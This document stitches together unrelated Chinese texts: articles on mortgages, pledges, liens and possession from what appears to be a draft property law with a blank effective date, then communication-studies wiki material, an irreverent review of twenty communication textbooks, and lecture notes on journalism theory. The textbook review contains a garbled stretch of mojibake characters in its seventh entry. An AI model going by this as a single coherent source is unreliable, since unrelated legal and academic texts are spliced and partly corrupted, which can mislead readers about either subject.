债务人以自己的财产设定抵押，抵押权人放弃该抵押权、抵押权顺位或者变更抵押权的，其他担保人在抵押权人丧失优先受偿权益的范围内免除担保责任，但其他担保人承诺仍然提供担保的除外。 \n 第二百一十八条 债务履行期届满，债务人未履行债务，致使抵押财产被人民法院依法扣押的，自扣押之日起抵押权人有权收取该抵押财产的天然孳息或者法定孳息，但抵押权人未通知应当清偿法定孳息的义务人的除外。 \n 前款孳息应当先充抵收取孳息的费用。 \n 第二百一十九条 债务履行期届满，债权未受清偿的，抵押权人可以与抵押人通过协议以抵押财产折价或者以拍卖、变卖该抵押财产所得的价款优先受偿；协议损害其他债权人利益的，其他债权人可以请求人民法院撤销该协议。 \n 抵押权人与抵押人达不成协议的，抵押权人可以请求人民法院拍卖、变卖抵押财产。 \n 第二百二十条 依照本法第二百零四条规定设定抵押权的，抵押财产自下列情形之一发生时确定： \n （一）债务履行期届满，债权未受清偿； \n （二）抵押人被宣告破产或者被撤销； \n （三）严重影响债权实现的其他情形。 \n 第二百二十一条 抵押财产折价或者拍卖、变卖后，其价款超过债权数额的部分归抵押人所有，不足部分由债务人清偿。 \n 第二百二十二条 同一财产向两个以上债权人抵押的，拍卖、变卖抵押财产所得的价款依照下列规定清偿： \n （一）抵押权已登记的，按照登记的先后顺序清偿；顺序相同的，按照债权比例清偿； \n （二）抵押权未登记的，按照债权比例清偿； \n （三）抵押权有的已登记，有的未登记的，已登记的先于未登记的受偿。 \n 第二百二十三条 建设用地使用权抵押后，该土地上新增的建筑物不属于抵押财产。需要拍卖该建设用地使用权的，可以将该土地上新增的建筑物与建设用地使用权一并拍卖，但拍卖新增建筑物所得的价款，抵押权人无权优先受偿。 \n 第二百二十四条 以本法第二百零二条第一款第三项规定的土地使用权抵押的，或者以乡（镇）、村企业的厂房等建筑物占用范围内的土地使用权抵押的，实现抵押权后，未经法定程序不得改变土地集体所有的性质和土地用途。 \n \n 第二节 最高额抵押权 \n \n 第二百二十五条 为担保债务的履行，债务人或者第三人以抵押财产对一定期间将要发生的债权提供担保的，债务人未履行债务时，抵押权人有权在最高债权额限度内就该财产优先受偿。 \n 最高额抵押权设立前已经存在的债权，经当事人同意，可以转入最高额抵押担保的债权范围。 \n 第二百二十六条 最高额抵押担保的债权确定前，部分债权转让的，最高额抵押权不得转让，但当事人另有约定的除外。 \n 第二百二十七条 最高额抵押担保的债权确定前，抵押权人与抵押人可以通过协议变更确定债权的期间、债权范围以及最高债权额，但变更的内容不得对其他抵押权人产生不利影响。 \n 第二百二十八条 有下列情形之一的，抵押权人的债权确定： \n （一）约定的确定债权期间届满的； \n （二）没有约定确定债权期间或者约定不明确，抵押权人或者抵押人自最高额抵押权设立之日起满二年请求确定债权的； \n （三）新的债权不可能发生的； \n （四）抵押财产被查封、扣押的； \n （五）债务人、抵押人被宣告破产或者被撤销的； \n （六）法律规定确定债权的其他情形。 \n 第二百二十九条 最高额抵押权除适用本节规定外，参照本法有关一般抵押权的规定。 \n \n 第十八章 质权 \n \n 第一节 动产质权 \n \n 第二百三十条 为担保债务的履行，债务人或者第三人将其动产出质给债权人占有的，债务人未履行债务时，债权人有权就该动产优先受偿。 \n 前款规定的债务人或者第三人为出质人，债权人为质权人，交付的动产为质押财产。 \n 第二百三十一条 设立质权，当事人应当采取书面形式订立质权合同。 \n 质权合同一般包括下列条款： \n （一）被担保债权的种类和数额； \n （二）债务人履行债务的期限； \n （三）质押财产的名称、数量、质量、状况； \n （四）担保的范围； \n （五）质押财产交付的时间。 \n 质权合同不完全具备前款规定内容的，可以补正。 \n 第二百三十二条 质权人在债务履行期届满前，不得与出质人约定债务人未履行债务时质押财产为债权人所有。 \n 第二百三十三条 质权自出质人交付质押财产时发生效力。 \n 第二百三十四条 质权人有权收取质押财产的孳息，但合同另有约定的除外。 \n 前款孳息应当先充抵收取孳息的费用。 \n 第二百三十五条 质权人在质权存续期间，未经出质人同意，擅自使用、出租、处分质押财产，给出质人造成损失的，应当承担民事责任。 \n 第二百三十六条 质权人负有妥善保管质押财产的义务；因保管不善致使质押财产毁损、灭失的，应当承担民事责任。 \n 质权人的行为可能使质押财产毁损、灭失的，出质人可以要求质权人将质押财产提存，或者要求提前清偿债权并返还质押财产。 \n 第二百三十七条 因不能归责于质权人的事由，可能使质押财产毁损或者价值明显减少的，质权人有权要求出质人提供相应的担保；出质人不提供的，质权人可以拍卖或者变卖质押财产，并与出质人通过协议将拍卖或者变卖所得的价款提前清偿债权或者提存。 \n 第二百三十八条 出质人请求质权人及时实现质权，因质权人怠于行使权利造成损害的，由质权人承担民事责任。 \n 第二百三十九条 质权人在质权存续期间，经出质人同意，可以转质。因转质权人的过错，造成质押财产毁损、灭失的，质权人应当向出质人承担民事责任。 \n 第二百四十条 质权人可以放弃质权。债务人以自己的财产出质，质权人放弃该质权的，其他担保人在质权人丧失优先受偿权益的范围内免除担保责任，但其他担保人承诺仍然提供担保的除外。 \n 第二百四十一条 债务人履行债务或者出质人提前清偿所担保的债权的，质权人应当返还质押财产。 \n 债务人未履行债务的，质权人可以与出质人通过协议以质押财产折价，也可以就拍卖、变卖质押财产所得的价款优先受偿。 \n 第二百四十二条 质押财产折价或者拍卖、变卖后，其价款超过债权数额的部分归出质人所有，不足部分由债务人清偿。 \n 第二百四十三条 出质人与质权人可以协议设立最高额质权。 \n 最高额质权除适用本节有关规定外，参照本法第四编第十七章第二节有关最高额抵押权的规定。 \n \n 第二节 权利质权 \n \n 第二百四十四条 债务人或者第三人有权处分的下列权利可以出质： \n （一）汇票、支票、本票； \n （二）债券、存款单； \n （三）仓单、提单； \n （四）可以转让的股权； \n （五）可以转让的注册商标专用权、专利权、著作权等知识产权中的财产权； \n （六）公路、电网等收费权； \n （七）法律、行政法规规定可以出质的其他财产权利。 \n 第二百四十五条 以汇票、支票、本票、债券、存款单、仓单、提单出质的，当事人应当订立书面合同，质权自权利凭证交付质权人时发生效力。 \n 第二百四十六条 汇票、支票、本票、债券、存款单、仓单、提单的兑现日期或者提货日期先于主债权到期的，质权人可以兑现或者提货，并与出质人通过协议将兑现的价款或者提取的货物提前清偿债权或者提存。 \n 第二百四十七条 以股权出质的，当事人应当订立书面合同。以上市公司的股权出质的，质权自证券登记机构办理出质登记时发生效力。以非上市公司的股权出质的，质权自工商行政管理部门办理出质登记时发生效力。 \n 上市公司的股权出质后，不得转让，但经出质人与质权人协商同意的除外。出质人转让股权所得的价款，应当向质权人提前清偿债权或者提存。 \n 第二百四十八条 以注册商标专用权、专利权、著作权等知识产权中的财产权出质的，当事人应当订立书面合同，质权自有关主管部门办理出质登记时发生效力。 \n 知识产权中的财产权出质后，出质人不得转让或者许可他人使用，但经出质人与质权人协商同意的除外。出质人转让或者许可他人使用出质的知识产权所得的价款，应当向质权人提前清偿债权或者提存。 \n 第二百四十九条 以公路、电网等收费权出质的，当事人应当订立书面合同，质权自有关主管部门办理出质登记时发生效力。 \n 收费权出质后，不得转让，但经出质人与质权人协商同意的除外。出质人转让收费权所得的价款，应当向质权人提前清偿债权或者提存。 \n 第二百五十条 权利质权除适用本节规定外，参照本法有关动产质权的规定。 \n \n 第十九章 留置权 \n \n 第二百五十一条 债务人未履行债务时，债权人可以留置已经合法占有的债务人的动产，并有权就该动产优先受偿。 \n 债权人留置的动产，应当与债权属于同一法律关系，但企业之间留置的除外。 \n 前两款规定的债权人为留置权人，占有的动产为留置财产。 \n 第二百五十二条 法律规定不得留置的，依照其规定。当事人约定不得留置的，按照其约定。 \n 第二百五十三条 留置权人负有妥善保管留置财产的义务；因保管不善致使留置财产毁损、灭失的，应当承担民事责任。 \n 第二百五十四条 留置权人有权收取留置财产的孳息。 \n 前款孳息应当先充抵收取孳息的费用。 \n 第二百五十五条 留置权人与债务人应当约定留置财产后的债务履行期限；没有约定或者约定不明确的，留置权人应当给债务人两个月以上履行债务的期间，但鲜活易腐等不易保管的动产除外。债务人逾期未履行的，留置权人可以与债务人协议以留置财产折价，也可以就拍卖、变卖留置财产所得的价款优先受偿。 \n 第二百五十六条 留置财产折价或者拍卖、变卖后，其价款超过债权数额的部分归债务人所有，不足部分由债务人清偿。 \n 第二百五十七条 同一动产上已设立抵押权或者质权，该动产又被留置的，留置权人优先受偿。 \n 第二百五十八条 留置权人对留置财产丧失占有或者留置权人接受债务人另行提供担保的，留置权消灭。 \n \n 第五编 占有 \n \n 第二十章 占有 \n \n 第二百五十九条 占有，包括有权占有和无权占有。基于债权关系等产生的占有，有关不动产或者动产的使用、收益、违约责任等，依照法律规定和合同约定。 \n 第二百六十条 不动产或者动产的占有，除有相反证据证明外，推定有权占有。 \n 第二百六十一条 无权占有，包括善意占有和恶意占有。无权占有，除有相反证据证明外，推定善意占有。 \n 第二百六十二条 占有人因使用占有的不动产或者动产，致使该不动产或者动产受到损害的，善意占有人不承担损害赔偿责任；恶意占有人应当承担损害赔偿责任。 \n 第二百六十三条 不动产或者动产被占有人占有的，权利人可以请求返还原物及其孳息，但应当扣除善意占有人因维护该不动产或者动产支出的必要费用。 \n 第二百六十四条 占有的不动产或者动产毁损、灭失，该不动产或者动产的权利人请求赔偿的，占有人应当将因毁损、灭失取得的保险金、赔偿金或者补偿金等返还给权利人；权利人的损害未能得到足够弥补的，恶意占有人还应当赔偿损失，但对损害的发生没有过错的除外。 \n 第二百六十五条 占有的不动产或者动产被侵夺的，占有人有权请求返还原物；对妨害占有的行为，占有人有权请求排除妨害；因侵夺或者妨害造成损害的，占有人有权请求损害赔偿。 \n 占有人返还原物的请求权，自侵夺发生之日起一年内没有行使的，该请求权消灭。 \n \n 附 则 \n \n 第二百六十六条 本法下列用语的含义： \n （一）“私人”，包括公民、个体工商户、农村承包经营户、外国人、无国籍人，也包括个人独资企业、外资企业等。 \n （二）“业主的建筑物区分所有权”，指高层建筑物出现后，各业主对住宅等专有部分享有所有权，对电梯、过道等共有部分享有共有和共同管理的权利。 \n （三）“孳息”，包括天然孳息和法定孳息。天然孳息，如果树结的果实、母畜生的幼畜等；法定孳息，如根据合同取得的租金、利息等。 \n （四）“用益物权”，指当事人依照法律规定，对他人所有的不动产，享有占有、使用和收益的权利，包括土地承包经营权、建设用地使用权、宅基地使用权、地役权、居住权等。 \n （五）“地役权”，指在法律规定的相邻关系之外按照合同利用他人的不动产，以提高自己不动产效益的权利。 \n （六）“担保物权”，指债权人对债务人或者第三人提供的担保财产或者债权人合法占有的财产，当债务人不履行债务时，享有优先受偿的权利，包括抵押权、质权和留置权。 \n （七）“占有”，指占有人对不动产或者动产的实际控制。 \n 第二百六十七条 法律、行政法规对不动产统一登记未作规定前，当事人可以向房产登记机构或者土地登记机构申请一并办理城市房屋所有权和土地使用权登记。房产登记机构和土地登记机构应当通过信息共享等办法，为当事人一并办证提供便利。 \n 第二百六十八条 本法自 年 月 日起施行。
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传播史是研究人类传播历史的学科，一般而言，传播史的起始时间是从人类诞生的那一天算起。传播史是文化史的一支，其研究的主题，包括传播媒介的生产者、生产过程、及媒介本身内容，以及其与历史文化思想等背景的关连等。
传播学研究社会上信息流通的渠道、演化、对社会的影响等。\n!学科分支\n* [[传播史]]\n* [[大众传播学]]\n* [[网络传播学]]\n* [[组织传播学]]\n* [[传播效果研究: 传播学的微观研究，分析如何有效传递讯息，控制噪音的负作用。]]\n* [[科技传播学]]\n* [[媒介文化]]\n* [[广告学]]\n* [[公共关系学]]\n* [[媒体素养]]\n!四位创始人\n[[哈罗德·拉斯韦尔]]\n[[勒温]]\n[[霍夫兰]]\n[[保罗拉扎斯菲尔德]]
1，[[《传播学教程》]]郭庆光/人民大学出版社1999\n名气最大的传播学教材，大而全，考研必备书目之一；但无实质性内容，对于批判学派的介绍完全是不懂装懂。此书的最大贡献在于绍介了不少日本的传播学理论。\n推荐指数：*****\n\n2,[[《大众传播学总论》张隆栋《人民大学出版社1993\n郭庆光的[[《传播学教程》]]诞生前，这是国人主编的内容最详实的一本传播学普及教材。书后附录的名词解释比较实用。\n推荐指数：***\n\n3，[[《传播学》]]沙莲香/人民大学出版社1990\n此书的特点在于偏重社会心理学。\n推荐指数：***\n\n4，[[《传播学概论》]]施拉姆/新华出版社1984\n传播学开山之作，为传播学建立了基本框架，不可不读，尽管施拉姆只不过是美国的喻国明而已。\n推荐指数：****\n\n5，[[《传播理论》]]塞佛林/华夏出版社2000\n本书作者之一的坦卡德是施拉姆的第一个博士生，此书内容详实，资料新颖，不足之处在于翻译得很龌龊。\n推荐指数：*****\n\n6，[[《传播学引论》]]李彬/新华出版社1993\n成亦文采，败亦文采。\n推荐指数：**\n\n7，[[《传播学原理》]]张国良/复旦大学出版社1995\n最薄的传播学读物，可以在最短的时间内知道传播学是什么，因此也显得内容单薄穄]αΑ１冉鲜屎现醒亩痢＞菡殴记鬃酝嘎叮赫獗臼樾吹貌缓玫脑蚴牵髡咧坏聂谜逶诮岣迩叭鲂瞧诓沤涸鸬恼陆诮簧侠矗佣沟梦姆缋床患巴骋弧２还殴荚?8年又有一本传播学问世，我没看过，好象复旦考博就指定了那本。\n推荐指数：*\n\n8，[[《传播学总论》]]胡正荣/北京广播学院出版社1997\n北广不是做学问的地方，但胡正荣是北广少数可以做学问的学者之一。此书是我阅读过的国人所写的"传播学概论"里最好的一本。\n推荐指数：****\n\n9，[[《现代大众传播学》]]陈龙/苏州大学出版社1997\n这是我读过的国人所写的"传播学概论"里最垃圾的一本。我大一时因为不可告人的阴谋，曾把此书从头到尾背得滚瓜烂熟，从而耽误大量宝贵的青春和许多追MM的机会。\n推荐指数：0\n\n10，[[《传播理论》]]小约翰/中国社会科学出版社1998\n我没读过，所以没有发言权。但我老板说好，我朋友读了也说好，那么就算它好吧。\n推荐指数：**\n\n11，[[《20世纪传播学经典文本》]]张国良/复旦大学出版社2003\n本书的收藏价值大于阅读价值和使用价值。此书的害人之处在于"造神"，使得读者认为没入选的学者不如入选的重要。比如大名鼎鼎，如日中天的John·Fiske和Mark·Poster就不幸缺席。\n推荐指数：**\n\n12，[[《媒介分析》]]张咏华/复旦大学出版社2002\n英语好的学者就是占便宜。曾经有人问我为什么总是推荐张咏华，我说，我把这本书借你吧···\n推荐指数：****\n\n13，[[《传媒批判理论》]]潘知常/新华出版社2003\n基本为潘知常的学生所写，那群孩子，连格拉姆西和葛兰西，霍尔和Hall的关系都没搞清楚，对某些哲学家的思想理解也完全误读。潘知常把关也不严（我怀疑主编只是挂个名字而已，压根没"编"）。但作为国内第一本系统绍介传播学批判学派理论的书籍，它功大于过，还是值得一读的。\n推荐指数：*****\n\n14，[[《弥漫的传播》]]杜骏飞/中国社会科学出版社2002\n我MM说有人问李泽厚，"如果让你去荒岛度过余生，并只给你带一本书，你带什么？"李泽厚说："[[《纯粹理性批判》]]（康德著），因为这本书需要一辈子才能读懂。"我问MM，你呢？MM说："我带[[《弥漫的传播》]]，因为这本书我一辈子也读不懂！"\n由于出版社要我写书评，我不得不硬着头皮读了三遍，在这样的情况下，读了7成懂，另外3成不懂装懂。我在书评里是这么写的："杜骏飞先生试图将传播学哲学化，且不说他的理论究竟有多大学术价值，但在传播学中国化的历史中，一定会有这本书的一席之地，因为作者对传播的独立思考——至少是一种独立思考的精神洋溢着字里行间。"\n推荐指数：***\n\n15，[[《精神交往论》]]陈力丹/开明出版社1993\n绍介马克思传播观的力作。虽然内容有点枯燥，并且不那么好懂，但依然是传播学学子必读书目！陈老先生对于市场行情把握得不太好，最近将此书又一次印刷，于是就卖不掉了···大家去照顾它生意吧！\n推荐指数：**\n\n16，[[《传播学史》]]罗杰斯/上海译文出版社2001（殷晓蓉译）\n我没看过，但我MM有这本书，她说很"好玩"。那就很"好玩"吧！MM说这本书搞笑之处之一在于，谈到拉只斯费尔德对传播学的贡献时有一条是：拉氏把默顿引入了传播学。我MM还说，拉氏是那种不断失去朋友的人，比如阿多诺，比如···，只有默顿和它玩了14年。呵呵\n推荐指数：***\n\n17，[[《世界传播学术史》]]黄旦/复旦大学出版社2003或2004\n不看MM那本传播学史的原因是，等待黄旦这本书的出版。我老大在复旦看过黄教授给博士生上课（传播学史）的手稿，煞是精彩。黄旦也是我信得过的学者之一，热情期待中···\n推荐指数：*****\n\n18，[[《社会传播学》]]宋林飞/上海人民出版社1994\n宋林飞是南京大学社会学的教授。将社会学与传播学融合得天衣无逢，虽然这本书通俗易懂，但却提醒了我们，玩转传播学，少不了社会学知识。毕竟传播学就是脱胎于社会学的，四大先驱里有3个都是社会学背景。\n推荐指数：**\n\n19，[[《网络传播概论》]]张海鹰/复旦大学出版社2000\n小学生读物。是复旦博学那一套里最差的一本，很后悔曾经把这本书推荐给了一个朋友，那时我还没看这本书。\n推荐直属：0\n\n20，[[《新闻学核心》]]李希光/南方日报出版社2002\n差一点把它忘了。严格地说，这是一本新闻学著作，但为什么要在这儿提它呢？——从某种意义上，之是一本"反传播学"著作，李希光通过这本书进一步反映出它在学识上的无知，但也通过这本书燃烧了无数新闻学子心中的激情与渴望。\n推荐指数：*****
绪论\n拉斯韦尔公式 “五Ｗ”模式\n|谁|说了什么|通过什么渠道|对谁|取得了什么效果|\n|控制研究|内容研究|媒介研究|受众研究|效果研究|\n1． 传播和新闻传播学\n新闻传播学 研究人类新闻传播现象、新闻传播事业及其规律的一门科学\n\n2． 学习理论新闻传播学的意义\n以学事术，指导人们驾驭新闻传播规律，能动地从事新闻传播活动\n提高新闻实践经验总结与新闻传播研究的理论水平\n新闻传播学是一门以基础性理论为特色的骨干课程，是应用课程和历史课程的先修课\n\n3． 学习理论新闻传播学的方法\n１．一般方法\n认真研读马克思主义新闻经典著作，运用马克思主义新闻观点，观察与分析错综复杂的传播现象与传播社会关系\n实事求是地评估资产阶级新闻学者的研究成果和资产阶级报刊活动家的业务经验，为我所用，坚持理论联系实际的学习作风和方法，在新闻传播活动和学术讨论中掌握新闻传播规律\n２．特殊方法\n科学抽象和理论思维\n定性和定量方法规范新闻传播质量\n新闻—经济－政治－文化的综合考察\n\n第1章 新闻传播行为 “延伸的人体”\n第1节 行为和新闻传播\n一．动机和行为\n需要——动机——行为——目的 动机性行为特点 动因\n目标\n\n形成动机 内在条件（需要、欲望） 感到缺乏\n 期待满足\n 客观条件（诱因、刺激）\n勒温－人类行为行为公式 Ｂ＝f（Ｐ＊Ｅ） \n行为=函数（人*环境）\n\n二．生存需要和新闻传播行为的发生\n马斯洛－需要层次理论 生理需要\n安全需要\n社交需要\n心理需要\n自我实现需要\n新闻传播行为起源于人类社会化的生产劳动和生活活动的需求，这种活动直接产生于人类生存发展的共同需要\n第2节 理论新闻传播学对新闻起源的认识\n新闻传播起源于人类生存发展的需要，它以满足社会的共同需求和共同兴趣为目的\n一．关于“新闻欲”\n任白涛－新闻及其承载物的产生，是由于人的社会需求\n二．关于“群居说”和“好奇说” 非本质原因\n\n第3节 新闻传播的特点\n一．新闻是新近发生事实的报道\n新闻传播的基本特征 \n1． 陈述事实 最重要特征\n五要素：新闻写作学五Ｗ——何时 何地 何人 何事 何故\n 新闻六要素——如何Ｈ\n\n2． 具有新意\n新近发生 新鲜事实 常报常新\n历史是昨天的新闻，新闻是明天的历史\n\n3． 报道及时 第一时间内报道\n普通事实——质变——新闻事实——量变——普通事实\n反对“唯速主义”的前提下，抢新闻\n\n４．公开传播\n循公开渠道向全社会作无定向的传递\n\n二．新闻的定义\n陆定一：新闻是新近发生的事实的报道\n\n第2章 新闻传播者\n新闻信息的推动力、传播活动的守门人\n第1节 新闻传播者的角色定位\n一．社会角色\n角色｜戏剧用词——20世纪20年代，社会心理学家米德——引入社会心理学\n个体 社会角色\n社会化：个体通过社会实践学习知识和技能，并在某种程度上被引导着去适应他所在社会或群体的规范，从而使自己从一个自然人变成一个社会人的过程。\n\n角色的学习 具有综合性，必须在人与人互相作用的社会关系中进行\n学习角色的义务与权利\n学习角色的态度与情感\n\n角色学习（角色社会化过程）的特征\n社会强制性 受社会既定文化影响，形成国民性、民族性\n个体能动性 个性形成的前提，包括个体间作用以及个体在社会化过程中的主体选择性\n学习终身性 社会化贯穿一生，分政治、法律、道德、性别角色、职业角色社会化等\n角色期待 群体中的成员期望站在某个地位上的人有某种应有的行为方式\n 实现角色（角色扮演）的有效手段\n角色冲突 扮演一个或几个不用的社会角色时，内心发生冲突与矛盾\n\n表现 社会上人们对同一个人的期待不一致\n 旧角色—新角色\n 身兼几个角色\n 角色人格同扮演者真实人格不一致\n\n二．新闻传播者的社会角色定位\n16世纪，意.威尼斯，商业报纸（近代报纸雏形），摆脱了宫廷报纸的官报性质，为资服务\n胡乔木－记者产生的根本基础：社会问题根本上是生产问题，生产斗争产生了有宣传必要的经验，记者被指定介绍这些经验，使利益相同的人根据经验办事\n定位 信息流通的动力 信息流动的推动力，信息流动量和流向的控制者\n 意见交流的桥梁 上下——喉舌，下上——耳目\n 监督权利的镜鉴 社会的了望者，公共利益的守门人\n 社会民众的教师 精神文明的传播者\n\n职业特征 信息的报道者，社会的活动家。同实际、政治、群众有着最密切的联系\n长处 接触面广，以全社会为工作和服务对象；思想敏捷；独特新闻手段；教育者；等。\n短处 片面性和表面性\n从新闻传播者同物质世界的关系来看\n物质制约 事物多样性 事件复杂性 时间紧迫性 受众多层次性 传播者能力与指责矛盾性\n能动作用 传播者能力：业务能力、知识结构、工作责任感\n从社会政治生活来看\n具有鲜明的阶级倾向性\n社会特点 有领导、有组织、有纪律，阶级性、政治性极强\n 首先对事实负责，遵循新闻传播的规律。\n同时对党对人民负责，遵守党纪国法和各项规定及制度\n新闻传播者从事的是创造性的工作 “活鱼”\n新闻传播活动是一种十分艰苦的脑力劳动\n新闻传播者的报道和言行，时刻受到社会的检验和群众的监督，要做思想战线上的尖兵\n\n 第二节 新闻传播者的角色规定\n1． 角色行为、角色规定、角色规范\n角色行为：属于某特定角色人的实际行为。受多种因素影响\n 被期待的角色行为即指定角色，与真正的角色行为是有区分的\n\n角色规定：对扮演某种角色的资格、条件及行为规范并为该角色群体认同的共识\n 角色规定的明确程度与可操作性，对与角色期待的实现有重要意义\n\n角色规范：角色群约定俗成和明文规定的扮演该角色的标准\n 是角色规定的一部分，即角色群内人的自我规定、自我约束与自我执行\n 对行为规范的一致理解，自觉执行与对违反规范行为的严厉制裁，是实现被期待的角色行为的有利保障\n2． 新闻传播者的角色规定 \n两方面构成：新闻传播者的素质修养和行为规范\n（一）素质 新闻传播者在从事新闻实践的过程中，为了完成或实现自身的目标和任务所应该掌握和具有的某些特点、专长和能力。\n１．政治素质——基本素质 指具有坚定的政治立场和鲜明的政治倾向性\n具体表现 \n１）是坚持和宣传四项基本原则的积极实践者，自觉在政治上同党中央保持一致，在原则问题上立场坚定，态度鲜明\n ２）对人民有极大热忱，敢于为人民利益赴汤蹈火，不为个人利益动摇政治信念\n ３）有坚持真理为真理献身的精神，无论什么情况，敢于讲真话、讲真理，不惟上、不惟权、只惟实\n ４）深入群众，和人民同呼吸、共命运、齐爱憎，不做生活旁观者\n\n２．业务素质——重要素质 \n1） 强社会活动能力\n2） 调查研究的基本功——观察、分析、判断、写作\n3） 较强新闻敏感\n4） 出色文字表达能力\n5） 驾驭现代采编工具的能力\n\n（二）修养 新闻工作者为了工作需要，经过长期的锻炼和培养，在思想理论、道德品质和知识技能等方面所达到的一定水平\n１．理论修养 辨证唯物主义和历史唯物主义的立场观点和方法\n 坚持理论联系实际，坚持实事求是，坚持实践是检验真理的唯一标准\n 马克思主义新闻传播理论的功底\n\n２．知识修养 专业知识 实践中运用的方法和技能\n 基础知识 与工作有关的各个学科的知识\n\n３．道德规范 特定社会历史条件下，通过各种形式的教育和社会舆论的力量逐渐形成的，调整新闻传播者之间以及新闻传播者与社会之间关系的行为准则的总称\n 新闻传播者与事实的关系、与群众的关系、新闻传播者之间的关系\n表现 社会责任 注重社会效益\n 真实全面\n 客观公正 以社会需要和新闻价值为标准取舍新闻\n 遵纪守法\n 坚持真理\n 廉洁奉公\n 增进友好\n 团结合作\n\n 第三节 新闻传播者的角色责任\n1． 责任和社会责任\n责任 分内应做的事\n社会责任 扮演某一角色的个人或角色群体，对构成角色关系的其他角色或角色群体所承担的法律、道德责任及社会义务。\n制裁 强制性 法律制裁——刑事法律责任、民事法律责任、行政法律责任\n 非强制性 道德责任——道义责任，是角色接受社会的道德评价、实行道德上的自我批判及社会舆论的道德批判\n\n2． 新闻传播者的角色责任 体现在新闻传播的全过程\n（一）新闻采编中 收取与角色期待协调的信息\n １．尽可能多且好地满足受传者的多种需求，既正确引导社会需求，又满足多样化社会需求\n２．忠实执行新闻调控机关的法令和指示，务使给定信息具有合法性和合理性\n３．培养良好的职业技能，以出色的新闻敏感和宣传敏感及时发现与捕捉新闻信息\n\n（二）信息制作中 正确把关\n良好政治素质，做到有法可依／三满意\n很强的业务能力 \n\n（三）信息反馈中 全面了解全部反馈信息，及时调整后继传播行为\n 正反馈：系统偏离旧稳态向新稳态过渡的过程\n 负反馈：系统趋向稳定的过程，对有效传播有重要意义\n\n3． 新闻传播者的法律责任\n\n第4节 新闻传播者的角色权利\n1． 权利、职权和新闻传播者的角色权利\n权利：公民或法人依法行使的权力和享受的利益\n具有一定的权利能力，才能行使自己的权利，权利能力是行为能力的前提\n\n职业权利——职权：职业范围以内的权力，即某一角色行使角色责任时所应享有的权利\n\n新闻传播者的权利 一般权利 于普通公民同样依法享有的权利\n 角色权利 完成本职工作所必须具备的职业权利（７条）\n１．知察权 新闻传播者的职业行为不受阻碍，一切有关方面人事部拒绝提供公民依法应知晓的信息\n\n２．编辑权 新闻传播者有对新闻信息独立进行选择和处理的权利\n\n３．传播权 将采集加工后的新闻信息的承载物——新闻传播媒介自由传达至受传者的自由取消任何形式的新闻检查——追惩制与预防制，是传播权的前提\n\n4． 监督批评权 独立、负责地开展舆论监督与新闻批评\n\n5． 秘匿权 新闻传播者不6． 向外界透露消息提供者身份和姓名7． 的权利\n\n8． 著作权 \n\n9． 人身安全权\n\n2． 责任和权利的统一，3． 他律和自律的统一\n新闻他律：对新闻传播者的职业行为进行的强制性管理\n新闻自律：新闻传播者的职业道德自律，在道德上进行的自我约束\n 以新闻伦理为核心的自我约束，以新闻法制为核心，以新闻伦理为基础\n 目的在于防止滥用新闻权利，对社会民众负责\n 在新闻活动中，这是新闻传播者的一种自我行为控制\n统一 新闻他律：保障新闻传播者充分履行社会责任，充分享受但又不滥用自己的角色权利\n新闻自律：充分运用职业权利，排除不良因素干扰，尽心完成职业使命\n外界强制性法律监控不可少，自我约束与自我调控也重要\n只有强化了新闻自律，新闻传播者才能更自觉彻底地履行自己的使命和社会责任\n\n第5节 新闻传播者的培养与教育\n一．新闻传播者的培养\n正规的职业教育 以师带徒 短期培训\n\n现代新闻传播教育起源\n美国 1869－华盛顿－李大学－印刷工兼编辑训练班\n\n1873－堪萨斯大学－印刷知识课\n 宾夕法尼亚大学－专门的新闻学课程\n美国正规新闻传播教育起源\n1903－俄克拉何马州中央州立大学－新闻系\n1904－伊利诺伊大学和威斯康星大学－四年制新闻教育\n1908－密苏里大学－第一所专门的新闻学院\n1912－哥伦比亚大学－新闻学院\n\n历史 报学阶段 20世纪初-30年代 \n新闻学阶段\n大众传播学阶段 40年代\n\n中国正规新闻教育起源\n1918-北京大学-新闻学研究会成立\n1924-燕京大学-新闻系\n1929-复旦大学-新闻系\n\n4． 新闻终身教育和新闻社会教育\n新闻终身教育：新闻继续教育，指新闻传播者结束在校学习后各个阶段不断接受社会教育和职业培训\n方法：业务培训，脱产进修，定期轮训，岗位学习，个人安排，新闻媒介机构组织自学\n80年代后，电大或者自考\n90年代后，不脱产参加高一级学位课程学习\n新闻社会教育：对非新闻传播者实施的新闻知识普及教育\n 目的在于，使广大公民了解新闻传播基本知识，更好利用现代新闻传播媒介，并主动参加新闻传播活动\n 是另一意义上的新闻终身教育，在人生命周期的各个阶段，有计划有重点对其进行各种形式的新闻学知识教育\n 打破了传统的教育观念，使新闻教育过程不局限于在校学习阶段，以成人教育为重要环节。从新闻启蒙到进行完整的新闻业务培训，构成了当代中国的新闻终身教育体系\n方法：通过普通小学课堂传播新闻学常识，参观新闻传播机构，组织阅读视听新闻传播媒介\n\n第3章 新闻传播内容\n第1节 事实、信息和新闻信息\n一．事实和新闻事实\n事实：事情的真实情况，包括事物、事件、事态，即客观存在的一切物体与现象、社会上发生的不平常的事情和局势及情况的变异态势\n 事实是新闻传播学的基本范畴，是新闻传播学研究的逻辑起点\n 新闻传播的本源，即新闻的基本来源，是事实（陆定一）\n\n唯物主义新闻观 新闻传播的是关于事实的信息\n 没有事实就没有新闻，背离事实就是新闻失实\n 事实第一，新闻第二\n 事实具有哪些性质，新闻才会有同类性质\n反例：事实为政治服务，预发性报道\n\n生活中的事实与新闻传播中的事实有本质区别\n 生活事实：客观存在不以人们主观意志为转移\n 新闻事实：既含有被传播事实的客观信息，又含有传播者的主观信息\n 事实本身不是新闻，把事实传播开去才是新闻\n 客观事实没有价值特征，新闻反映着报道者的价值评价的差别\n\n二．信息和新闻信息\n信息：事物的存在方式和相互反应的运动过程，以及关于者中存在方式与运动过程的陈述\n新闻信息：含有新闻价值的信息，指新近发生的为公众所关注的具有新闻价值的社会信息\n新闻传播活动实质上就是信息的传授活动，新闻信息才是新闻传播的本质规定\n\n三．用事实说话 